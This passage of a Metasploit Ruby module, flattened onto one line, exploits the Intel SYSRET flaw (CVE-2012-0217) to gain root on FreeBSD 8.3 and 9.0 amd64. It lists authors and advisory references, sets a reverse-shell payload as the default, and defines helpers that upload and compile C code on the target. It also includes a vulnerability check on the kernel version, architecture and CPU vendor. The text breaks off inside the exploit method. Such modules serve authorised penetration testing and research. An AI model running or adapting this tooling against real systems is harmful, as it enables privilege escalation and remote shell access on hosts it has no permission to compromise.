By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Rafal Wojtczuk', # Discovery 'John Baldwin', # Discovery 'iZsh', # Exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2012-06-12', 'Platform' => ['bsd'], # FreeBSD 'Arch' => [ARCH_X64], 'SessionTypes' => ['shell'], 'References' => [ ['BID', '53856'], ['CVE', '2012-0217'], ['EDB', '28718'], ['PACKETSTORM', '113584'], ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'], ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'], ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'], ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'], ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'], ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation'] ], 'Targets' => [ ['Automatic', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' }, 'DefaultTarget' => 0 ) ) register_advanced_options([ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status("Writing '#{path}' (#{data.size} bytes) ...") rm_f(path) write_file(path, data) register_file_for_cleanup(path) end def upload_and_compile(path, data, _cc_args = '') upload("#{path}.c", data) cc_cmd = "cc -o #{path} #{path}.c" if session.type.eql?('shell') cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}" end output = cmd_exec(cc_cmd) unless output.blank? print_error(output) fail_with(Failure::Unknown, "#{path}.c failed to compile") end register_file_for_cleanup(path) chmod(path) end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def check kernel_release = cmd_exec('uname -r').to_s unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/ return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable") end vprint_good("FreeBSD version #{kernel_release} appears vulnerable") kernel_arch = cmd_exec('uname -m').to_s unless kernel_arch.include?('64') return CheckCode::Safe("System architecture #{kernel_arch} is not supported") end vprint_good("System architecture #{kernel_arch} is supported") hw_model = cmd_exec('/sbin/sysctl hw.model').to_s unless hw_model.downcase.include?('intel') return CheckCode::Safe("#{hw_model} is not vulnerable") end vprint_good("#{hw_model} is vulnerable") CheckCode::Appears end def exploit if !datastore['ForceExploit'] && is_root? fail_with(Failure::BadConfig, 'Session already has root privileges.
